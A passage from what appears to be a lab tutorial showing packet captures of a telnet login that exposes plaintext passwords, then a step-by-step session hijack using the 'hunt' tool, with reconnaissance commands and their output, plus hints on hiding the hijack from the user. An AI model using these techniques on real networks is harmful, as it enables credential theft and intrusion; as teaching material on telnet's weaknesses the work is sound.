TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589727 2362341 6B k 11/09-19:33:05.514339 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32998 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BC4 Ack: 0x84DC701C Win: 0xFACF TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362343 114589727 6B k 11/09-19:33:05.514395 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4252 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC701C Ack: 0x34A4BC5 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589732 2362343 11/09-19:33:05.556446 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4253 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC701C Ack: 0x34A4BC5 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589737 2362343 65 e 11/09-19:33:05.575821 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32999 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BC5 Ack: 0x84DC701D Win: 0xFACE TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362343 114589737 65 e 11/09-19:33:05.576044 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4254 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC701D Ack: 0x34A4BC6 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589739 2362343 11/09-19:33:06.351428 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4255 IpLen:20 DgmLen:54 DF ***AP*** Seq: 0x84DC701D Ack: 0x34A4BC6 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589816 2362343 0D 00 ..
Server prompts user for password.
11/09-19:33:06.389279 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33000 IpLen:20 DgmLen:64 DF ***AP*** Seq: 0x34A4BC6 Ack: 0x84DC701F Win: 0xFACC TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362351 114589816 0D 0A 50 61 73 73 77 6F 72 64 3A 20 ..Password: 11/09-19:33:06.389333 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4256 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC701F Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589820 2362351
User enters p-a-s-s-w-o-r-d. These characters are NOT echoed by the receiver.
11/09-19:33:07.914678 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4257 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC701F Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589972 2362351 70 p 11/09-19:33:08.018837 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33001 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7020 Win: 0xFACB TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362368 114589972 11/09-19:33:08.082496 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4258 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7020 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589989 2362368 61 a 11/09-19:33:08.219997 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33002 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7021 Win: 0xFACA TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362370 114589989 11/09-19:33:08.394025 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4259 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7021 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590020 2362370 73 s 11/09-19:33:08.521733 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33003 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7022 Win: 0xFAC9 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362373 114590020 11/09-19:33:08.547554 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4260 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7022 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590036 2362373 73 s 11/09-19:33:08.722889 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33004 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7023 Win: 0xFAC8 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362375 114590036 11/09-19:33:08.980256 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4261 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7023 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590079 2362375 77 w 11/09-19:33:09.125209 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33005 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7024 Win: 0xFAC7 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362379 114590079 11/09-19:33:09.125261 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4262 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7024 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590093 2362379 6F o 11/09-19:33:09.326365 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33006 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7025 Win: 0xFAC6 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362381 114590093 11/09-19:33:09.326418 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4263 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7025 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590114 2362381 72 r 11/09-19:33:09.527523 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33007 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7026 Win: 0xFAC5 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362383 114590114 11/09-19:33:09.527576 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4264 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7026 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590134 2362383 64 d 11/09-19:33:09.728681 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33008 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4BD2 Ack: 0x84DC7027 Win: 0xFAC4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362385 114590134 11/09-19:33:09.933077 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4265 IpLen:20 DgmLen:54 DF ***AP*** Seq: 0x84DC7027 Ack: 0x34A4BD2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590174 2362385 0D 00 ..
Server rejects this login and password combination, then prompts for login again. User enters “mike” and “easypassword” this time and is successful logging in. At the prompt to change password or exit, user chooses to exit and the two telnets begin to tear down the connection.
11/09-19:33:09.954537 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33009 IpLen:20 DgmLen:92 DF ***AP*** Seq: 0x34A4BD2 Ack: 0x84DC7029 Win: 0xFAC2 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362387 114590174 0D 0A 49 6E 76 61 6C 69 64 20 75 73 65 72 6E 61 ..Invalid userna 6D 65 20 6F 72 20 70 61 73 73 77 6F 72 64 2E 0D me or password.. 0A 6C 6F 67 69 6E 3A 20 .login: 11/09-19:33:09.954590 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4266 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC7029 Ack: 0x34A4BFA Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590176 2362387 11/09-19:33:10.824638 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4267 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7029 Ack: 0x34A4BFA Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590263 2362387 6D m 11/09-19:33:10.826390 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33010 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BFA Ack: 0x84DC702A Win: 0xFAC1 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362395 114590263 6D m 11/09-19:33:10.826444 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4268 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC702A Ack: 0x34A4BFB Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590264 2362395 11/09-19:33:10.985529 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4269 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC702A Ack: 0x34A4BFB Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590279 2362395 69 i 11/09-19:33:11.014925 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33011 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BFB Ack: 0x84DC702B Win: 0xFAC0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362397 114590279 69 i 11/09-19:33:11.014981 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4270 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC702B Ack: 0x34A4BFC Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590282 2362397 11/09-19:33:11.164368 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4271 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC702B Ack: 0x34A4BFC Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590297 2362397 6B k 11/09-19:33:11.202393 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33012 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BFC Ack: 0x84DC702C Win: 0xFABF TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362399 114590297 6B k 11/09-19:33:11.202449 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4272 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC702C Ack: 0x34A4BFD Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590301 2362399 11/09-19:33:11.258730 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4273 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC702C Ack: 0x34A4BFD Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590307 2362399 65 e 11/09-19:33:11.270462 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33013 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BFD Ack: 0x84DC702D Win: 0xFABE TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362400 114590307 65 e 11/09-19:33:11.270675 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4274 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC702D Ack: 0x34A4BFE Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590308 2362400 11/09-19:33:11.601746 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4275 IpLen:20 DgmLen:54 DF ***AP*** Seq: 0x84DC702D Ack: 0x34A4BFE Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590341 2362400 0D 00 .. 11/09-19:33:11.639877 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33014 IpLen:20 DgmLen:64 DF ***AP*** Seq: 0x34A4BFE Ack: 0x84DC702F Win: 0xFABC TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362404 114590341 0D 0A 50 61 73 73 77 6F 72 64 3A 20 ..Password: 11/09-19:33:11.640102 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4276 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC702F Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590345 2362404 11/09-19:33:12.684879 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4277 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC702F Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590449 2362404 65 e 11/09-19:33:12.846629 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33015 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7030 Win: 0xFABB TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362416 114590449 11/09-19:33:12.919631 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4278 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7030 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590473 2362416 61 a 11/09-19:33:13.047786 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33016 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7031 Win: 0xFABA TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362418 114590473 11/09-19:33:13.167598 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4279 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7031 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590498 2362418 73 s 11/09-19:33:13.349522 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33017 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7032 Win: 0xFAB9 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362421 114590498 11/09-19:33:13.410589 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4280 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7032 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590522 2362421 79 y 11/09-19:33:13.550679 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33018 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7033 Win: 0xFAB8 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362423 114590522 11/09-19:33:13.684445 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4281 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7033 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590549 2362423 70 p 11/09-19:33:13.852417 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33019 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7034 Win: 0xFAB7 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362426 114590549 11/09-19:33:13.854836 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4282 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7034 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590566 2362426 61 a 11/09-19:33:14.053575 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33020 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7035 Win: 0xFAB6 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362428 114590566 11/09-19:33:14.123199 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4283 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7035 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590593 2362428 73 s 11/09-19:33:14.154157 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33021 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7036 Win: 0xFAB5 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362430 114590593 11/09-19:33:14.294392 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4284 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7036 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590610 2362430 73 s 11/09-19:33:14.455897 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33022 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7037 Win: 0xFAB4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362433 114590610 11/09-19:33:14.514210 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4285 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7037 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590632 2362433 77 w 11/09-19:33:14.657056 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33025 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7038 Win: 0xFAB3 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362435 114590632 11/09-19:33:14.657107 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4286 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7038 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590647 2362435 6F o 11/09-19:33:14.858209 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33026 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC7039 Win: 0xFAB2 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362437 114590647 11/09-19:33:14.858261 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4287 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7039 Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590667 2362437 72 r 11/09-19:33:15.059365 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33027 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC703A Win: 0xFAB1 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362439 114590667 11/09-19:33:15.059416 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4288 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC703A Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590687 2362439 64 d 11/09-19:33:15.260521 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33028 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C0A Ack: 0x84DC703B Win: 0xFAB0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362441 114590687 11/09-19:33:15.551281 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4289 IpLen:20 DgmLen:54 DF ***AP*** Seq: 0x84DC703B Ack: 0x34A4C0A Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590736 2362441 0D 00 .. 11/09-19:33:15.576243 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33029 IpLen:20 DgmLen:188 DF ***AP*** Seq: 0x34A4C0A Ack: 0x84DC703D Win: 0xFAAE TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362444 114590736 1B 5B 32 4A 1B 5B 48 0D 0A 0D 0A 1B 5B 31 3B 33 .[2J.[H.....[1;3 34 6D 20 20 20 20 57 65 6C 63 6F 6D 65 20 6D 69 4m Welcome mi 6B 65 21 0D 0A 0D 0A 1B 5B 31 3B 33 35 6D 20 20 ke!.....[1;35m 20 20 20 20 20 20 20 28 31 29 20 43 68 61 6E 67 (1) Chang 65 20 70 61 73 73 77 6F 72 64 2E 0D 0A 1B 5B 31 e password....[1 3B 33 35 6D 20 20 20 20 20 20 20 20 20 28 30 29 ;35m (0) 20 45 78 69 74 2E 0D 0A 0D 0A 1B 5B 31 3B 33 32 Exit......[1;32 6D 20 20 20 20 20 20 20 20 20 43 68 6F 6F 73 65 m Choose 20 6F 6E 65 2E 2E 2E 20 one... 11/09-19:33:15.576301 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4290 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC703D Ack: 0x34A4C92 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114590739 2362444 11/09-19:33:20.399895 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4291 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC703D Ack: 0x34A4C92 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114591221 2362444 30 0 11/09-19:33:20.451086 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33030 IpLen:20 DgmLen:52 DF ***A***F Seq: 0x34A4C92 Ack: 0x84DC703E Win: 0xFAAD TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362492 114591221 11/09-19:33:20.451500 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4292 IpLen:20 DgmLen:52 DF ***A***F Seq: 0x84DC703E Ack: 0x34A4C93 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114591226 2362492 11/09-19:33:20.451585 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:33031 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x34A4C93 Ack: 0x84DC703F Win: 0xFAAD TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362492 114591226
Ok, well that was interesting, but what did we learn? We learned how easy it is capture the plain text login names, passwords, and less critical information about the server such as which options it supports or enables by default. We learned some of the critical attributes of the telnet protocol,which, all together, will help us hijack a telnet session later.
We're not done picking on telnet yet. Here we are going to take over a previously established connection between a telnet client and telnet server and try to execute some commands. The software tool for the exploit does the sequence number prediction and packet injection (in other words, all the work) so our intention here is just to demonstrate how easy it can be, even for someone with no computing experience. It is also going to be considerably less accurate than the real threat due to the network setup. For instance, we're on a packet switched network, making eavesdropping on the session more difficult. As a result, we'll have to run the telnet client on the same host we use to do the hijacking, whereas the hijacker is normally a third, separate machine. To determine when and if the command prompt is shifted from the original client to the attacker, we will use two separate windows.First, from the "client" window we connect to the telnet server, 192.168.1.100, and login. At the menu we choose "3" to receive a command prompt on the server.
[root@client mnin]# telnet telnet> open 192.168.1.100 Trying 192.168.1.100... Connected to 192.168.1.100 (192.168.1.100). Escape character is '^]'. login: mike Password: Welcome mike! (1) Change password. (2) Change FTP initial path. Currently "/shared" (3) Command Prompt. (0) Exit. Choose one... 3 Command Prompt... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
Now we fire up Pavel Krauz's hunt utility, [3] from the "hijack" window. We choose "l" option to list active connections which reveals one between 192.168.1.100 (the telnet server) and 192.168.1.108 (the machine used for both client and hijack commands). After verifying the connection exists we choose "s" to conduct a simple hijack. Hunt will desynchronize the stream from the server/original client point of view and in doing so, synchronize the connection with the server and attacker. This allows us to insert commands from the hijack window (even though we never logged in via this window) and have the server execute them. Once again, the real threat is when the hijack window is run on a separate computer system.
[root@hijack hunt-1.5]# ./hunt /* * hunt 1.5 * multipurpose connection intruder / sniffer for Linux * (c) 1998-2000 by kr */ starting hunt --- Main Menu --- rcvpkt 0, free/alloc 63/64 ------ l/w/r) list/watch/reset connections> u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit *> l 0) 192.168.1.108 [37060] --> 192.168.1.100 [23] --- Main Menu --- rcvpkt 1256, free/alloc 63/64 ------ l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit -> s 0) 192.168.1.108 [37060] --> 192.168.1.100 [23]choose conn> 0 dump connection y/n [n]> n
From this point on we have control (from the hijack window) of the original telnet session between the server and client. We do a few tests to verify that we are indeed issuing commands and receiving output from the server. For example we list the contents of the ARP table, then some details on the server's network interface, active connections, and which user we are logged in as.
Enter the command string you wish executed or [cr]>arp -a Interface: 192.168.1.100 --- 0x10003 Internet Address Physical Address Type 192.168.1.1 00-04-5a-80-db-54 dynamic 192.168.1.108 00-e0-4c-a3-6f-57 dynamic C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix : IP Address. . . . . . . . . . . . :192.168.1.100 Subnet Mask . . . . . . . . . . . :255.255.255.0 Default Gateway . . . . . . . . . :192.168.1.1 C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> netstat Active Connections Proto Local Address Foreign Address State TCP wk:telnet 192.168.1.108:37060 ESTABLISHED TCP wk:1144 205.188.11.18:5190 ESTABLISHED TCP wk:1145 205.188.4.242:5190 ESTABLISHED TCP wk:1409 192.168.1.108:22222 ESTABLISHED TCP wk:1689 192.168.1.108:22222 ESTABLISHED TCP wk:1692 192.168.1.108:22222 ESTABLISHED C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> net user User accounts for \\WK ------------------------------------------------------------------------------- Administrator Guest IUSR_WK IWAM_WK michael hale wk_webuser The command completed successfully
Now, while still working in the hijack window, we choose to exit out of the command prompt telnet session. This brings us back (as if we were ever here before) to the main menu, which will also choose to exit and return to the normal bash prompt.
C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> exit Welcome mike! (1) Change password. (2) Change FTP initial path. Currently "/shared" (3) Command Prompt. (0) Exit. Choose one... 0 Enter the command string you wish executed or [cr]> exit done [root@hijack hunt-1.5]#
From the original client's point of view, the session was "Closed by Foreign Host." With hunt we could also re-synchronize the original connection to prevent this message from being displayed and alerting the user. This should be enough to show the ease of shifting command prompts from one terminal to another using a session hijacking tool. The subject of a future experiment will use a third computer system on a non-packet switched network to conduct the attack. Actually, we could have utilized the ARP spoof daemon provided with hunt to bypass the switch's security features and continued with the attack from a third host. A short demonstration on ARP spoofing can be viewed here.
[1]. @stake's L0phtCrack
[2]. Openwall.org's John The Ripper
[3]. Pavel Krauz's Hunt sniffer
on PacketStorm